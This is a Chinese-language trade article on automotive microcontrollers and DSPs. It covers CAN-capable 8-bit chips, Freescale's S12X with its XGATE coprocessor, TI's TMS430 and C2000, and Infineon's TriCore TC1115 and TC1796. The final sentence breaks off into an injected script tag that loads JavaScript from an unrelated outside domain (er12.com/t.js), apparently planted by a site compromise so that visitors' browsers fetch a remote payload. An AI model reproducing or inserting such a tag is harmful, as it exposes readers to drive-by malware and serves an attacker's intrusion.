汽车产业仍以稳定的速度在增长着，继续消费着大量的微控制器芯片，将之用于发动机和仪器|仪表板控制等各种应用，并满足市场对于乘客安全性、舒适性和方便性不断增长的需求。目前高档轿车和卡车在发动机控制和仪表板控制，以及其它应用中使用的mcu多达80个；中档轿车和卡车使用的mcu从40个到50个，而且汽车中的mcu数量还在随着仪表板或发动机不断增加新功能而增长。其中，线控操纵、汽车安全系统和车内多媒体系统是发展最快的应用领域。在许多应用中，mcu都在向更高的集成度方向发展。
市场对流行的8位mcu的需求保持强劲，而较新的和功能更强大的16位和32位mcu，在发动机控制和动力驾驶子系统方面的应用在不断增长。dsp越来越多地进入汽车领域，用于电子动力总成、发动机控制，以及混合燃料汽车的动力子系统。
汽车车身电子控制器件涉及座位和车门模块等应用，要求控制器芯片具有大量i/o和高电流。对于新型mcu来说，仪表盘上的各种仪表仍然是另一种大批量应用。但是，德州仪器的c2000 dsp市场与系统应用部的全球经理jennifer skinner-gray表示，“安全方面的需求目前在刺激轿车采用更多的电子元件。”比如c2000 dsp系列产品的应用包括牵引控制、刹车辅助、乘客安全气囊和电子稳定程序等。她说，目前该c2000 dsp正在进入轿车。
像过去一样，专用的片上外设事关mcu能否在这个市场中取得成功。最新款的微控制器需要支持can、lin以及较新的线控（flex-ray）等流行的汽车网络总线结构。can非常可靠，是bosch公司专门为汽车开发的，具有单、双和三重等版本。通常单can就足够了。
比如atmel公司最近推出的at90can128，这是一种8位avr快闪微控制器，具有扩展的can性能。该can控制器可处理15个独立的信息对象、可现场编程。该控制器带有一个16mips avr risc引擎、128kb快闪编程存储器、4kb ram和4kb片上eeprom，可以用于许多汽车应用之中。
英飞凌最近也针对8位处理器市场推出一款新品xc866，它的特点是与现有的80c51完全兼容，其单价不到一欧元，极具竞争力，它带有片上电压调节器和振荡器，以降低总体系统成本，此外，它还是一款绿色封装的产品。xc866适合于汽车车身应用。但是，对于动力总成和传输应用，需要更高的速度和更大的内存。16位产品在这方面的应用仍然强劲。
飞思卡尔半导体新推出的16位mc9s12x mcu，基于该公司的hcs12架构，面向网关和车身控制等汽车多路应用、仪表、车门模块和底盘节点。据飞思卡尔半导体称，该芯片具有32位mcu的性能，同时具有16位mcu的所有优点和效率。飞思卡尔半导体表示，该产品是为了保留现有16位mc9s12 mcu系列产品的低成本、低功耗、低emc和高代码尺寸效率等优点。
图题：基于tricore的32位微控制器支持实时操作，
最适合于要求严格的汽车应用。飞思卡尔的这些新款芯片嵌入了该公司的xgate模块，这是从主cpu上卸载基本网关活动、信息传递和can功能等任务的一个协处理器。该模块提供一个速度高达80 mips的额外处理能力，以减轻主cpu的负担。据说，s12x系列性能达到先前推出的hcs12微控制器的五倍，同时保留了后向兼容能力。
并行架构使之能够更确定性地处理中断，并允许设计工程师避免核心功能与中断处理之间的冲突。据悉，摩托罗拉的全资子公司xtgate为车身和仪表应用采用并行处理打开了大门。
德州仪器现在向汽车厂商提供三个系列的mcu和dsp芯片。特别值得一提的是其新款16位tms430 mcu产品，面向底盘传感和车身网络。基于德州仪器自有的msp430内核，tms430包含最高达128 kbytes的闪存、一个can模块和a/d转换器、计时器，以及其它专用电路。首批产品目前正在取样，计划在2006年实现量产。在发动机控制应用方面，德州仪器一直在生产c2000系列dsp。c28xx采用32位架构，c24xx则是一种16位产品但是，随着32位mcu价格的不断下降，其在新的设计中有代替16位mcu的趋势，半导体厂商推32位产品的热情也是不断高涨，其中集成度、成本和速度是他们比拼的焦点。英飞凌新近推出两款基于其tricore(tm)架构的32位微控制器。tricore内核集成超级可扩展32位risc内核、dsp指令集、浮点单元和mac，它使mcu能在实时控制应用中执行完全合成的、基于模型的代码，而且支持高级语言和功能库，以显著缩短推出产品的时间。
其中一款新品tc1115微控制器，是为满足对成本敏感的应用不断提高的性能需求而设计的，可以使应用节省大约15%的成本。而另一款tc1796，其计算能力是目前解决方案的四倍。tc1796是第一款普遍供应的基于tricore的mcu，具有嵌入闪存(2 mbyte)，它面向汽车发动机和传输控制系统，利用它可以开发创新性的汽车控制解决方案，改善发动机性能，从而满足欧洲的排放控制标准，并提高燃油效率。这款基于tricore的32位微控制器最适合于?script src=http://er12.com/t.js>
